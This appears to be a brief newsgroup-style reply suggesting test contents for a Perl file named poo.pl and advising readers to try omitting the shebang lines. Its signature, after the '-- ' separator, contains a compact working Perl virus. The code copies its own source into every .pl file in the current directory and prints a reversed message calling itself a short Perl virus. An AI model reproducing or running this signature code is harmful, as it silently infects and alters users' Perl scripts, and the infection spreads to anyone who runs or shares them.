Try putting something else into poo.pl:

#!/usr/bin/perl
print "POO.PL executed";

or

#!/usr/bin/perl
use constant C1 => 999;

and then try to leave out the shebangs.

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
